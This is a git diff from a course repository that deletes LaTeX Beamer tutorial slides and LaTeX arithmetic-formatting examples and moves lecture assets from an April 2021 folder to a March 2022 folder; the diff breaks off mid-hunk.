cf1b943a314750c31a6307e7e1e97c7c36d34817..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-1.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-1.tex b/20210705/rtech-20210705-1.tex deleted file mode 100644 index 174be62fbca75d66a224088d89047909d7c1f785..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-1.tex +++ /dev/null @@ -1,9 +0,0 @@ -\documentclass{beamer} - -\begin{document} - - \begin{frame} - Dies ist ein Test. - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-10.pdf b/20210705/rtech-20210705-10.pdf deleted file mode 100644 index 6e7b5ac96c9325c91753d2884963aa1d3938308a..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-10.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-10.tex b/20210705/rtech-20210705-10.tex deleted file mode 100644 index 80ca66026a9151830ed8e4492b2546541c765a66..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-10.tex +++ /dev/null @@ -1,39 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} -\lstset{basicstyle=\color{structure}} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen \only<3->{schönen} Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-11.pdf b/20210705/rtech-20210705-11.pdf deleted file mode 100644 index 6cd5780ccb198be309617bc771a58c8a08bbbc46..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-11.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-11.tex b/20210705/rtech-20210705-11.tex deleted file mode 100644 index 5a26388f41c32f678637630f956c63d9ce3a76a2..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-11.tex +++ /dev/null @@ -1,39 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} -\lstset{basicstyle=\color{structure}} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen\only<3->{ schönen} Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-12.pdf b/20210705/rtech-20210705-12.pdf deleted file mode 100644 index 99e0daece3700fd2d2f7be8093de31cf3378621d..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-12.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-12.tex b/20210705/rtech-20210705-12.tex deleted file mode 100644 index 43a11b7348ceab315f51d806f19618f3a53d5b42..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-12.tex +++ /dev/null @@ -1,51 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\lstset{basicstyle=\color{structure}} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame}{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen\only<3->{ schönen} Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - - \begin{frame}[fragile]{Beispiel-Quelltext} - \begin{lstlisting} - #include <stdio.h> - - int main (void) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-13.pdf b/20210705/rtech-20210705-13.pdf deleted file mode 100644 index 69dcc4864461c0b2b6868cbdc37349a09b8a6a77..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-13.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-13.tex b/20210705/rtech-20210705-13.tex deleted file mode 100644 index 77e37c33eea015fb04f165172851e196784744c8..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-13.tex +++ /dev/null @@ -1,51 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\lstset{basicstyle=\color{structure}\ttfamily} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame}{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen\only<3->{ schönen} Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - - \begin{frame}[fragile]{Beispiel-Quelltext} - \begin{lstlisting} - #include <stdio.h> - - int main (void) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-14.pdf b/20210705/rtech-20210705-14.pdf deleted file mode 100644 index 92644ed4c8c8bf3e37a87d155de1839bb7f45ae5..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-14.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-14.tex b/20210705/rtech-20210705-14.tex deleted file mode 100644 index fb13dbd04ad46362a9477c88454c1b4198642b3d..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-14.tex +++ /dev/null @@ -1,53 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\lstset{language=c, - basicstyle=\color{structure}, - columns=fullflexible} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame}{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen\only<3->{ schönen} Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - - \begin{frame}[fragile]{Beispiel-Quelltext} - \begin{lstlisting} -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} - \end{lstlisting} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-15.pdf b/20210705/rtech-20210705-15.pdf deleted file mode 100644 index 227ab0a13fd6dbed9f1cebaacc7b2495b5c5175a..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-15.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-15.tex b/20210705/rtech-20210705-15.tex deleted file mode 100644 index a54495a1b052e0f83589d46b92a0639b198781c1..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-15.tex +++ /dev/null @@ -1,53 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\lstset{language=c, - basicstyle=\color{structure}, - columns=fullflexible} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame}{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen\only<3->{ schönen} Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - - \begin{frame}[fragile]{Beispiel-Quelltext} - \begin{lstlisting}[gobble=6] - #include <stdio.h> - - int main (void) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-16.pdf b/20210705/rtech-20210705-16.pdf deleted file mode 100644 index 9e7d3aa006f3120d467facc48f6879445125ae2c..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-16.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-16.tex b/20210705/rtech-20210705-16.tex deleted file mode 100644 index fdb3a52c398acab72f06b2b94f770bd17289a79c..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-16.tex +++ /dev/null @@ -1,50 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\lstset{language=c, - basicstyle=\color{structure}, - columns=fullflexible} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame}{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \item<2-3> - Man schreibt einen\only<3->{ schönen} Quelltext. - \item<3-> - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \item<4-> - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - - \begin{frame}[fragile]{Beispiel-Quelltext} - \begin{lstlisting}[gobble=6] - #include <stdio.h> - - int main (void) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-17.pdf b/20210705/rtech-20210705-17.pdf deleted file mode 100644 index 8c5b7b872aa7e3792509d7fd5cbfd4db7ece9259..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-17.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-17.tex b/20210705/rtech-20210705-17.tex deleted file mode 100644 index 90026d7d8d55527783d007306b30adba5776f004..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-17.tex +++ /dev/null @@ -1,81 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} -\usepackage{amsmath} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\lstset{language=c, - basicstyle=\color{structure}, - columns=fullflexible} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame}{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \item<2-3> - Man schreibt einen\only<3->{ schönen} Quelltext. - \item<3-> - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \item<4-> - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - - \begin{frame}[fragile]{Beispiel-Quelltext} - \begin{lstlisting}[gobble=6] - #include <stdio.h> - - int main (void) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \end{frame} - - \begin{frame}{Uncover}{visible} - \begin{align*} - A &= B \\ - \visible<2->{&= C\\} - \visible<3->{&= D} - \end{align*} - \end{frame} - - \begin{frame}{Uncover}{only} - \begin{align*} - A &= B \\ - \only<2->{&= C\\} - \only<3->{&= D} - \end{align*} - \end{frame} - - \begin{frame}{Uncover}{alt} - \begin{align*} - A &= B \\ - \alt<2->{&= C\\}{&= ?\\} - \alt<3->{&= D}{&= ?} - \end{align*} - \end{frame} - - \begin{frame}{Literatur} - \begin{quote} - \lstinline{beameruserguide.pdf} - \end{quote} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-2.pdf b/20210705/rtech-20210705-2.pdf deleted file mode 100644 index fbb0d4996726d4ad4cee2e344c97512b3481900a..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-2.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-2.tex b/20210705/rtech-20210705-2.tex deleted file mode 100644 index 4c77a49aad44410ede16084bb0b20d3c0bc9d9c4..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-2.tex +++ /dev/null @@ -1,15 +0,0 @@ -\documentclass{beamer} - -\title{LaTeX Beamer} -\author{Prof. Dr. rer. nat. Peter Gerwinski} -\date{5. Juli 2021} - -\begin{document} - - \maketitle - - \begin{frame} - Dies ist ein Test. - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-3.pdf b/20210705/rtech-20210705-3.pdf deleted file mode 100644 index b9a3db64d6753c0293a253d7546de6af02f39d1a..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-3.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-3.tex b/20210705/rtech-20210705-3.tex deleted file mode 100644 index 6c05724bbc3d472caccf18b2c0030237f8824096..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-3.tex +++ /dev/null @@ -1,15 +0,0 @@ -\documentclass{beamer} - -\title{LaTeX Beamer} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{5.\ Juli 2021} - -\begin{document} - - \maketitle - - \begin{frame} - Dies ist ein Test. - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-4.pdf b/20210705/rtech-20210705-4.pdf deleted file mode 100644 index 55b07f45a8592b0c1a544d101800cc2e7440ed7c..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-4.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-4.tex b/20210705/rtech-20210705-4.tex deleted file mode 100644 index f01d9159885b775745452234c848a8b95eafd757..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-4.tex +++ /dev/null @@ -1,15 +0,0 @@ -\documentclass{beamer} - -\title{\LaTeX\ Beamer} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{5.\ Juli 2021} - -\begin{document} - - \maketitle - - \begin{frame} - Dies ist ein Test. - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-5.pdf b/20210705/rtech-20210705-5.pdf deleted file mode 100644 index 29a83bdc03dfd06f88dbd32e4bf88eacaf2a34fc..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-5.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-5.tex b/20210705/rtech-20210705-5.tex deleted file mode 100644 index 417be543eac47cb5af108f9141456fad96ad5578..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-5.tex +++ /dev/null @@ -1,29 +0,0 @@ -\documentclass{beamer} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen Quelltext. - \pause - \item - Man "compiliert" den Quelltext mit pdflatex. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-6.pdf b/20210705/rtech-20210705-6.pdf deleted file mode 100644 index 786897fcf389b44c20d11b8d64b73138ae912c48..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-6.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-6.tex b/20210705/rtech-20210705-6.tex deleted file mode 100644 index f85c1210097bca86758e42793b22eaef82966d3e..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-6.tex +++ /dev/null @@ -1,35 +0,0 @@ -\documentclass[handout]{beamer} -% ^^^^^^^ Pausen entfernen - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen Quelltext. - \pause - \item - Man "compiliert" den Quelltext mit pdflatex. -% ^ ^ -% falsche Anführungszeichen - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-7.pdf b/20210705/rtech-20210705-7.pdf deleted file mode 100644 index cce21ba1ce907503714e3625b21f58d91d5ea9eb..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-7.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-7.tex b/20210705/rtech-20210705-7.tex deleted file mode 100644 index ca4916f15c6c82273cdae8a2ca3e63fd3e517cb7..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-7.tex +++ /dev/null @@ -1,36 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit pdflatex. -% ^ ^ -% deutsche Anführungszeichen - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-8.pdf b/20210705/rtech-20210705-8.pdf deleted file mode 100644 index e3d4ec6bd77441fe7f54b766bc591f9eefd26018..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-8.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-8.tex b/20210705/rtech-20210705-8.tex deleted file mode 100644 index 049212e55d6bd2a283f64d640d8b0f4217ab9f43..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-8.tex +++ /dev/null @@ -1,35 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705-9.pdf b/20210705/rtech-20210705-9.pdf deleted file mode 100644 index c0411ce8310017c3bba218f3cb99679d721e5bb3..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705-9.pdf and /dev/null differ diff --git a/20210705/rtech-20210705-9.tex b/20210705/rtech-20210705-9.tex deleted file mode 100644 index aefa09b490e64a47c3a644f0a37a33cd838ee496..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705-9.tex +++ /dev/null @@ -1,39 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} -\lstset{basicstyle=\color{structure}} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -% "Normales" Leerzeichen: Backslash + Leerzeichen -% "Normales" geschütztes Leerzeichen (Hier kein Zeilenumbruch!): Tilde - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \pause - \item - Man schreibt einen Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210705/rtech-20210705.pdf b/20210705/rtech-20210705.pdf deleted file mode 100644 index b70d5864694e7b4f9b2086fc626450c7325b0d20..0000000000000000000000000000000000000000 Binary files a/20210705/rtech-20210705.pdf and /dev/null differ diff --git a/20210705/rtech-20210705.tex b/20210705/rtech-20210705.tex deleted file mode 100644 index b4272d27d9a19fca36f3a9ec771b6a0923efe434..0000000000000000000000000000000000000000 --- a/20210705/rtech-20210705.tex +++ /dev/null @@ -1,34 +0,0 @@ -\documentclass{beamer} - -\usepackage[german]{babel} -\usepackage{listings} - -\usetheme{Warsaw} -\usecolortheme{seahorse} - -\title{\LaTeX~Beamer} -\author{Prof.~Dr.~rer.~nat.~Peter Gerwinski} -\date{5.~Juli 2021} - -\begin{document} - - \maketitle - - \section{\LaTeX\ Beamer} - - \begin{frame} - \frametitle{Einführung} - Diese Folien wurden mit \LaTeX\ Beamer erstellt. - \begin{itemize} - \item - Man schreibt einen Quelltext. - \pause - \item - Man "`compiliert"' den Quelltext mit \lstinline{pdflatex}. - \pause - \item - Das Ergebnis ist eine PDF-Datei. - \end{itemize} - \end{frame} - -\end{document} diff --git a/20210706/rechnen-1.pdf b/20210706/rechnen-1.pdf deleted file mode 100644 index df7cf95612cb013fea0f545729532f585107222b..0000000000000000000000000000000000000000 Binary files a/20210706/rechnen-1.pdf and /dev/null differ diff --git a/20210706/rechnen-1.tex b/20210706/rechnen-1.tex deleted file mode 100644 index 2b3b6986783fb7078ba25f758e380abedcb74147..0000000000000000000000000000000000000000 --- a/20210706/rechnen-1.tex +++ /dev/null @@ -1,55 +0,0 @@ -\documentclass{article} - -\usepackage{enumerate} - -\begin{document} - - \begin{tabbing} - 1) 1384 : 1000 = \textbf{1}\\ - 2) \=(1384 - 1 * 1000 = 384)\\ - \> 384 : 100 = \textbf{3}\\ - 3) (1384 - 1 * 1000 - 3 * 100 = 84)\\ - \> 84 : 10 = \textbf{8}\\ - 4) 1384 - 1 * 1000 - 3 * 100 - 8 * 10 = \textbf{4} - \end{tabbing} - - \begin{enumerate} - \item - 1384 : 1000 = \textbf{1} - \item - (1384 - 1 * 1000 = 384)\\ - 384 : 100 = \textbf{3} - \item - (1384 - 1 * 1000 - 3 * 100 = 84)\\ - 84 : 10 = \textbf{8} - \item - 1384 - 1 * 1000 - 3 * 100 - 8 * 10 = \textbf{4} - \end{enumerate} - - \begin{enumerate}[1)] - \item - 1384 : 1000 = \textbf{1} - \item - (1384 - 1 * 1000 = 384)\\ - 384 : 100 = \textbf{3} - \item - (1384 - 1 * 1000 - 3 * 100 = 84)\\ - 84 : 10 = \textbf{8} - \item - 1384 - 1 * 1000 - 3 * 100 - 8 * 10 = \textbf{4} - \end{enumerate} - - \begin{enumerate}[1)] - \item - $1384 : 1000 = \textbf{1}$ - \item - $(1384 - 1 \cdot 1000 = 384)$\\ - $384 : 100 = \textbf{3}$ - \item - $(1384 - 1 \cdot 1000 - 3 \cdot 100 = 84)$\\ - $84 : 10 = \textbf{8}$ - \item - $1384 - 1 \cdot 1000 - 3 \cdot 100 - 8 \cdot 10 = \textbf{4}$ - \end{enumerate} - -\end{document} diff --git a/20210706/rechnen-2.pdf b/20210706/rechnen-2.pdf deleted file mode 100644 index 9210e619343299446976553ecc4b8d4062705cec..0000000000000000000000000000000000000000 Binary files a/20210706/rechnen-2.pdf and /dev/null differ diff --git a/20210706/rechnen-2.tex b/20210706/rechnen-2.tex deleted file mode 100644 index e28345811a0086089e12130de1b0ad2fb2aa6872..0000000000000000000000000000000000000000 --- a/20210706/rechnen-2.tex +++ /dev/null @@ -1,37 +0,0 @@ -\documentclass{article} - -\usepackage{amsmath} - -\begin{document} - - \begin{eqnarray} - 1384 : 1000 &=& \textbf{1} - \\[\medskipamount] - (1384 - 1 \cdot 1000 &=& 384) \nonumber\\ - 384 : 100 &=& \textbf{3} - \\[\medskipamount] - (1384 - 1 \cdot 1000 - 3 \cdot 100 &=& 84)\nonumber\\ - 84 : 10 &=& \textbf{8} - \\[\medskipamount] - 1384 - 1 \cdot 1000 - 3 \cdot 100 - 8 \cdot 10 &=& \textbf{4} - \end{eqnarray} - - \begin{align} - 1384 : 1000 &= \textbf{1} - \\[\medskipamount] - (1384 - 1 \cdot 1000 &= 384) \nonumber\\ - 384 : 100 &= \textbf{3} - \\[\medskipamount] - (1384 - 1 \cdot 1000 - 3 \cdot 100 &= 84)\nonumber\\ - 84 : 10 &= \textbf{8} - \\[\medskipamount] - 1384 - 1 \cdot 1000 - 3 \cdot 100 - 8 \cdot 10 &= \textbf{4} - \end{align} - - Eine Formel im Text -- wie z.\,B.\ $84 : 10 = 8$ -- - ist etwas anderes als eine hervorgehobene Gleichung: - \begin{equation} - \int_0^\pi \sin x\,dx = 2 - \end{equation} - -\end{document} diff --git a/20210406/1890s_adding_machine.jpg b/20220315/1890s_adding_machine.jpg similarity index 100% rename from 20210406/1890s_adding_machine.jpg rename to 20220315/1890s_adding_machine.jpg diff --git a/20210406/Drawing-a-circle-with-the-compasses.jpg b/20220315/Drawing-a-circle-with-the-compasses.jpg similarity index 100% rename from 20210406/Drawing-a-circle-with-the-compasses.jpg rename to 20220315/Drawing-a-circle-with-the-compasses.jpg diff --git a/20210406/Holding-a-ruling-pen-edited-2.jpg b/20220315/Holding-a-ruling-pen-edited-2.jpg similarity index 100% rename from 20210406/Holding-a-ruling-pen-edited-2.jpg rename to 20220315/Holding-a-ruling-pen-edited-2.jpg diff --git a/20210406/logo-hochschule-bochum-cvh-text-v2.pdf b/20220315/logo-hochschule-bochum-cvh-text-v2.pdf similarity index 100% rename from 20210406/logo-hochschule-bochum-cvh-text-v2.pdf rename to 20220315/logo-hochschule-bochum-cvh-text-v2.pdf diff --git a/20210406/logo-hochschule-bochum.pdf b/20220315/logo-hochschule-bochum.pdf similarity index 100% rename from 20210406/logo-hochschule-bochum.pdf rename to 20220315/logo-hochschule-bochum.pdf diff --git a/20210406/pgslides.sty b/20220315/pgslides.sty similarity index 100% rename from 20210406/pgslides.sty rename to 20220315/pgslides.sty diff --git a/20210406/pst-circ-pg.sty b/20220315/pst-circ-pg.sty similarity index 100% rename from 20210406/pst-circ-pg.sty rename to 20220315/pst-circ-pg.sty diff --git a/20210406/rtech-20210406-fig1.pdf b/20220315/rtech-20220315-fig1.pdf similarity index 100% rename from 20210406/rtech-20210406-fig1.pdf rename to 20220315/rtech-20220315-fig1.pdf diff --git a/20210406/rtech-20210406.pdf b/20220315/rtech-20220315.pdf similarity index 99% rename from 20210406/rtech-20210406.pdf rename to 20220315/rtech-20220315.pdf index 5e36eae08d44a805c657cd639dfc5ecddf6b69c8..7100cef234b43532c1f15035907dde84d031c1ee 100644 Binary files a/20210406/rtech-20210406.pdf and b/20220315/rtech-20220315.pdf differ diff --git a/20210406/rtech-20210406.tex b/20220315/rtech-20220315.tex similarity index 98% rename from 20210406/rtech-20210406.tex rename to 20220315/rtech-20220315.tex index 366f44d4e439cc757e7c2515f4d658a059f61189..7ac0cf3c61f094dc89a9d8501fb9152df92285a3 100644 --- a/20210406/rtech-20210406.tex +++ b/20220315/rtech-20220315.tex @@ -1,5 +1,5 @@ -% rtech-20210406.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski +% rtech-2022.315.pdf - Lecture Slides on Computer Technology +% Copyright (C) 2012, 2013, 2014, 2021, 2022 Peter Gerwinski % % This document is free software: you can redistribute it and/or % modify it either under the terms of the Creative Commons @@ -52,7 +52,7 @@ \title{Rechnertechnik} \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{6.\ April 2021} +\date{15.\ März 2022} \begin{document} @@ -60,10 +60,10 @@ \date{\begin{picture}(0,0) \color{red} - \put(0.26,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{% + 